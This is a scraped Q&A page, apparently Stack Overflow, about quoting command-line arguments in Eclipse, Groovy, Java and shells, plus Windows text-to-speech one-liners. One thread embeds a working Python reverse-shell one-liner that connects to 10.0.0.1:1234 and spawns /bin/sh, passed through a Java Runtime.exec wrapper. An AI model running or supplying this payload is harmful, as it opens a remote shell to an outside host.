Eclipse debug configurations, program arguments woes - java

I have a java program that takes a bunch of arguments. One of these arguments is meant to be a file glob that I wish to give to the program without interpolation (as is).
For example: s3sync -match '*.xml{,.gz}' ...
This works perfectly fine from the command line. s3sync itself is a minimal shell script that sets up some environment vars and finally does:
$EXEC java $DEBUG $MEMORY -cp "$CLASSPATH" com.my.packages.S3Sync "$#"
However, when I try my code from an Eclipse Debug Configuration, I'm unable to tell Eclipse NOT to interpolate that arg. Here is what I tried, and what comes in as String[] args in main():
in Program Arguments what it becomes in main(String[] args)
-match '*.xml' String[]{"-match", "'*.xml'"}
-match *.xml String[]{"-match", "build.xml", "ivy.xml", ...}
-match "*.xml" String[]{"-match", "build.xml", "ivy.xml", ...}
-match \*.xml String[]{"-match", "\\*.xml"}
Any idea? How do I write an argument in Eclipse Debug Configurations > Program Arguments so that the arg[] is "*.xml"?

This dialog has been problematic for this and similar reasons.
The only character you can escape in that dialog is the double quote character. You could try escaping the double quotes in
-match \"*.xml\"
and see if you can get the "*.xml" passed in correctly, albeit with quotes on it.
Other than that, I think you'll have to support an alternate syntax that you translate into the correct syntax in your code.

Related

A literal string containing escape slashes on groovy

My groovy script calls other commands via vagrant. One of those commands is to echo some quotes on a file within docker.
The goal is, so that within the container, i want to have BB_GENERATE_MIRROR_TARBALLS = "1". Now to do this on a bash script, i would need something like this:
BB_GENERATE_MIRROR_TARBALLS = \"1\"
The issue manifests itself when i have to escape double quotations on the groovy as well.
If i call vagrant("echo BB_GENERATE_MIRROR_TARBALLS = \\\"1\\\" >> ${yoctoDir}/build/conf/local.conf" on my groovy file, the outcome on the local.conf will be BB_GENERATE_MIRROR_TARBALLS=1 (without quotes).
The correct way to do this would be to include an extra backslash on both sides (3 for the groovy, 1 for the bash script), however when i do that, groovy doesnt run and gives me syntax errors.
What would be the correct way to insert this literal string(BB_GENERATE_MIRROR_TARBALLS=\"1\") on the groovy?
In groovy you can do the following:
def my_var = /BB_GENERATE_MIRROR_TARBALLS = "1"/
echo my_var >> ${yoctoDir}/build/conf/local.conf

How to parse file patterns using Apache commons CLI

I'm trying to parse my command line arguments using the apache commons CLI. It might be a bit heavy handed for the example here, but it makes sense in the context of the program I'm creating. I'm trying to read a file pattern filter, similar to what grep uses to select files to process.
My Argument looks like this:
Program --input *.*
I've written a test program to see what the parser is seeing;
public static void main(String[] args) {
Options options = new Options();
options.addOption(new Option(INPUT_FILTER_SHORT, INPUT_FILTER_LONG, true, INPUT_FILTER_DESCRIPTION));
CommandLineParser parser = new BasicParser();
CommandLine cmd = parser.parse(options, args);
System.out.println(cmd.getOptionValue(INPUT_FILTER_SHORT));
}
This prints out:
.classpath
If I change my arguments to:
Program --input test.txt
I get the output:
test.txt
I'm assuming that I have to do something to tell apache commons what * is not a special character? I can't seem to find anything about this online.
I'm experiencing this on Windows (7). I'm fairly certain it's the *.* which is causing the issue as when I swap to using patterns that don't use *, the expected pattern shows up.
Your problem isn't really to do with Commons CLI, but to do with how the shell and the Java executable together process the parameters.
To eliminate other factors, and see what's going on, use a short Java program:
public class ArgsDemo {
public static void main(String[] args) {
for(int i=0; i<args.length; i++) {
System.out.println("" + i + ": " + args[i]);
}
}
}
Play with java ArgsDemo hello world, java ArgsDemo * etc. and observe what happens.
On UNIX and Linux:
Java does no special processing of *. However, the shell does. So if you did:
$ mkdir x
$ cd x
$ touch a b
$ java -jar myjar.jar MyClass *
... then MyClass.main() would be invoked with the parameter array ["a","b"] -- because the UNIX shell expands * to files in the current directory.
You can suppress this by escaping:
$ java -jar myjar MyClass * // main() sees ["*"])
(Note that a UNIX shell wouldn't expand *.* to .classpath because this form would ignore "hidden" files starting with .)
On Windows
cmd.exe does not do UNIX-style wildcard expansion. If you supply * as a parameter to a command in Windows, the command gets a literal *. So for example, PKUNZIP *.zip passes *.zip to PKUNZIP.EXE, and it's up to that program to expand the wildcard if it wants to.
Since some release of Java 7, the Java executable for Windows does some wildcard to filename expansion of its own, before passing the parameters to your main() class.
I've not been able to find clear documentation of Java-for-Windows' wildcard expansion rules, but you should be able to control it with quoting, escaping the quotes to prevent cmd.exe interpreting them:
> java.exe -jar myjar.jar MyClass """*.*"""
(Untested as I don't have a Windows box handy, and quoting in cmd.exe is a bit of a beast - do please experiment and either edit the above or leave a comment)

Passing Python statements as command line args to Java program

Given the below java code, how can I pass the following python statements as argument to the java code
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
The java code:
import java.io.*;
public class Exec {
public static void main(String[] args) throws IOException {
Process p = Runtime.getRuntime().exec(args[0]);
byte[] b = new byte[1];
while (p.getErrorStream().read(b) > 0)
System.out.write(b);
while (p.getInputStream().read(b) > 0)
System.out.write(b);
}
}
I execute the java code using:
java Exec 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''
but it throws syntax error near unexpected token('`. If I use double quotes at the beginning and end
java Exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
it throws:
File "<string>", line 1
'import
^
SyntaxError: EOL while scanning string literal
Any help is much appreciated.
As you've noted, this is quite confusing. You're trying to pass in everything as one argument and the quoting becomes difficult. If you need explicit arguments, I think you have to pass in three arguments to your Java program, viz:
python
-c
the complete script quoted appropriately
e.g.
java Exec python -c "script quoted and escaped properly"
but perhaps you could circumvent that by running 'python' and passing the name of the file containing your script? (why do you need to specify 'python' and '-c' - could that be hardcoded in your program?)
Fundamentally, though, why are you using Java to execute a Python program to spawn a bash shell? If you're on the Java platform, I would look at how to achieve what you really want without having to fork subprocesses using different technologies.

how to use windows default voice using java? [duplicate]

Is there a way to use the MS Speech utility from command line? I can do it on a mac, but can't find any reference to it on Windows XP.
My 2 cents on the topic, command line one-liners:
on Win using PowerShell.exe
PowerShell -Command "Add-Type –AssemblyName System.Speech; (New-Object System.Speech.Synthesis.SpeechSynthesizer).Speak('hello');"
on Win using mshta.exe
mshta vbscript:Execute("CreateObject(""SAPI.SpVoice"").Speak(""Hello"")(window.close)")
on OSX using say
say "hello"
Ubuntu Desktop (>=2015) using native spd-say
spd-say "hello"
on any other Linux
refer to How to text-to-speech output using command-line?
commandline function using google TTS (wget to mp3->mplayer)
command using google with mplayer directly:
/usr/bin/mplayer -ao alsa -really-quiet -noconsolecontrols "http://translate.google.com/translate_tts?ie=UTF-8&client=tw-ob&q=Hello%20World&tl=en";
on Raspberry Pi, Win, OSX (or any remote) using Node-Red
npm i node-red-contrib-sysmessage
There's a nice open source program that does what you're asking for on Windows called Peter's Text to Speech available here: http://jampal.sourceforge.net/ptts.html
It contains a binary called ptts.exe that will speak text from standard input, so you can run it like this:
echo hello there | ptts.exe
Alternatively, you could use the following three line VBS script to get similar basic TTS:
'say.vbs
set s = CreateObject("SAPI.SpVoice")
s.Speak Wscript.Arguments(0), 3
s.WaitUntilDone(1000)
And you could invoke that from the command line like this:
cscript say.vbs "hello there"
If you go the script route, you'll probably want to find some more extensive code examples with a variable timeout and error handling.
Hope it helps.
There's also Balabolka: http://www.cross-plus-a.com/bconsole.htm
It has a command line tool balcon.exe. You can use it like this:
List voices:
balcon.exe -l
Speak file:
balcon.exe -n "IVONA 2 Jennifer" -f file.txt
Speak from the command-line:
balcon.exe -n "IVONA 2 Jennifer" -t "hello there"
More command line options are available. I tried it on Ubuntu with SAPI5 installed in Wine. It works just fine.
If you can't find a command you can always wrap the System.Speech.Synthesis.SpeechSynthesizer from .Net 3.0 (Don't forget to reference "System.Speech")
using System.Speech.Synthesis;
namespace Talk
{
class Program
{
static void Main(string[] args)
{
using (var ss = new SpeechSynthesizer())
foreach (var toSay in args)
ss.Speak(toSay);
}
}
}
There is a powershell way also:
Create a file called speak.ps1
param([string]$inputText)
Add-Type –AssemblyName System.Speech
$synth = New-Object System.Speech.Synthesis.SpeechSynthesizer
$synth.Speak($inputText);
Then you can call it
.\speak.ps1 "I'm sorry Dave, I'm afraid I can't do that"
rem The user decides what to convert here
:input
cls
echo Type in what you want the computer to say and then press the enter key.
echo.
set /p text=
rem Making the temp file
:num
set num=%random%
if exist temp%num%.vbs goto num
echo ' > "temp%num%.vbs"
echo set speech = Wscript.CreateObject("SAPI.spVoice") >> "temp%num%.vbs"
echo speech.speak "%text%" >> "temp%num%.vbs"
start temp%num%.vbs
pause
del temp%num%.vbs
goto input
pause
Your best approach is to write a small command line utility that will do it for you. It would not be a lot of work - just read text in and then use the ms tts library.
Another alternative is to use Cepstral. It comes with a nice command line utility and sounds light years better than the ms tts.

Issue with Command Line arguments which got spaces in it

I have a Java program which I'm executing in a Linux environment through a bash script.
This is my simple bash script, which accepts a String.
#!/bin/bash
java -cp com.QuoteTester $1
The issue is that the command line argument can be with Spaces or Without spaces.
For example it can be either:
Apple Inc. 2013 Jul 05 395.00 Call
OR
Apple
My code is:
public static void main(String[] args)
{
String symbol = args[0];
if (symbol.trim().contains(" ")) // Option
{
}
else // Stock
{
}
}
So the issue is that , when I am trying to execute it this way:
./quotetester Apple Inc. 2013 Jul 05 395.00 Call
its only always going to the else condition that is Stock .
Is there anyway I can resolve this?
When you pass command line arguments with spaces, they are taken as space separated arguments, and are splitted on space. So, you don't actually have a single argument, but multiple arguments.
If you want to pass arguments with spaces, use quotes:
java classname "Apple Inc. 2013 Jul 05 395.00 Call"
This is not a Java issue per se. It's a shell issue, and applies to anything you invoke with such arguments. Your shell is splitting up the arguments and feeding them separately to the Java process.
You have to quote the arguments such that the shell doesn't split them up. e.g.
$ java -cp ... "Apple Inc. 2013"
etc.
See here for a longer discussion.
The arguments are handled by the shell , so any terminal settings should not affect this. You just need to have quoted argument and it should work.
Single quotes are the best option
Spaces and double quotes can be resolved this way.
java QuerySystem '((group = "infra") & (last-modified > "2 years ago"))'
In the original question the OP is using a shell script to call a java command line and would like the shell script to pass the arguments without performing the Blank interpretation (Word Splitting) option of input interpretation
https://rg1-teaching.mpi-inf.mpg.de/unixffb-ss98/quoting-guide.html#para:sh-ifs
If you know how many arguments there are then you can double quote the arguments
#!/bin/bash
java -cp com.QuoteTester "$1"
So you call this script, save as quotetester.sh.
./quotetester.sh "hello world"
and "hello world" gets passed as a single argument to Java. You could also use
./quotetester.sh hello\ world
with the same effect.

Categories

Resources